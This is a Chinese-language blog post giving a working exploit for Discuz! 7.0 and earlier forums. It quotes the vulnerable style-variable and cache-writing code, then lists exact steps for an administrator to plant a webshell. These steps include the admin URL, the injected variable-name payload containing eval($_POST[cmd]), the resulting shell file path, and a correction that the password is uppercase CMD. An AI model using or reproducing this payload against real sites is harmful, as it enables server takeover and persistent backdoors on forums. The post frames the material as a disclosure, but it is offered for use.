Discuz! 7.0 及以下版本後臺拿webshell(無需創始人)

我很少關心之類的漏洞,已經很少拿站了,遇到DZ更加只是路過,也沒去過多關心DZ的漏洞或者去研究代碼;前不久論壇被人留下一個shell,害我檢查半天,不過既然遇到了,那就公佈出來方便大家。
我先聲明:
1.這個不是我首發,很多牛牛很早之前就發現了,但沒人公佈,ring04h牛那貌似有個:http://ring04h.googlepages.com/dzshell.txt,估計知道的人很多了,我研究的少,知道遲了,慚愧慚愧;
2.我從拿到shell的IIS日誌知道這裏可以利用,即styles.inc.php這個文件,於是看了下,找到利用辦法。後來經flyh4t提醒,居然與ring04h的那個方法一樣,我落後了...
好了,不廢話,看代碼:
<?php
......
if(
$newcvar && $newcsubst
) {
            if(
$db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'"
)) {
                
cpmsg('styles_edit_variable_duplicate''''error'
);
            } elseif(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/"$newcvar
)) {
                
cpmsg('styles_edit_variable_illegal''''error'
);
            }
            
$newcvar strtolower($newcvar
);
            
$db->query(
"INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
                VALUES ('$id', '$newcvar', '$newcsubst')"
);
        }
//插入變量數據,From www.oldjun.com
......
updatecache('styles');
//更新緩存(寫文件),From www.oldjun.com
......
?>
這是爲某一style風格增加變量的代碼,把變量名與變量的值存入數據庫,雖然post過來的數據daddslashes了,但入庫之後又都是純淨的數據了。
這裏涉及到一個正則問題,判斷變量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar),其中“\x7f-\xff”是指ASCII碼值在127~255之間的字符,它們經常作爲中文字符的首字節出現,所以可以利用其作爲中文匹配的標誌。於是這個匹配貌似只是允許字母或者中文做變量名,沒其他高深的匹配,隨便測試了下,一般情況下這個正則等於虛設:
<?php
    $newcvar
=$_GET['newcvar'
];
    echo 
$newcvar
;
    echo 
"<br>"
;
    if(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/"$newcvar
)) {
                echo 
"haha"
;
            }else{
                echo 
'pass'
;
            }
    
?>
下面看看updatecache這個函數,在include裏的cache.func.php文件裏,先從數據庫取出來,經過一段處理最終寫入文件,具體我不描述了,我只談談重點,看一段函數:
function getcachevars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(is_array($val)) {
            $evaluate .= "\$$key = ".arrayeval($val).";\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}
啥也不說了,處理了value沒處理key,而這個key就是之前我們提交的,乾淨的存在數據庫裏的值。關於數組的key,大家可以參考下幻影旅團第三期《高級PHP代碼審核技術》,那篇文章好多地方談到key的問題,dz這裏卻忽視了...
於是可以直接拿shell了,利用方法(論壇地址改成自己的),先用管理員帳號登陸後臺,無需論壇創始人,管理員等級即可:
http://www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1
中,最下面有個“自定義模板變量”,變量中填:
OLDJUN', '#999');eval($_POST[cmd]);//
替換內容隨便輸入:1111,然後提交,一句話***就產生了:
http://www.oldjun.com/bbs/forumdata/cache/style_1.php
如果你修改的style的id是2的話,對於的shell就是style_2.php。
這個風格模板可以導入導出的,於是有了ring04h的那個dzshell,嫌麻煩可以直接用那個導入風格獲取shell。
注:很多人反應連不上一句話,我發現我文章少說了一句:
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
這句話是說所有的變量名換成大寫的了!
因此請用大寫的CMD做爲你一句話的密碼!
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章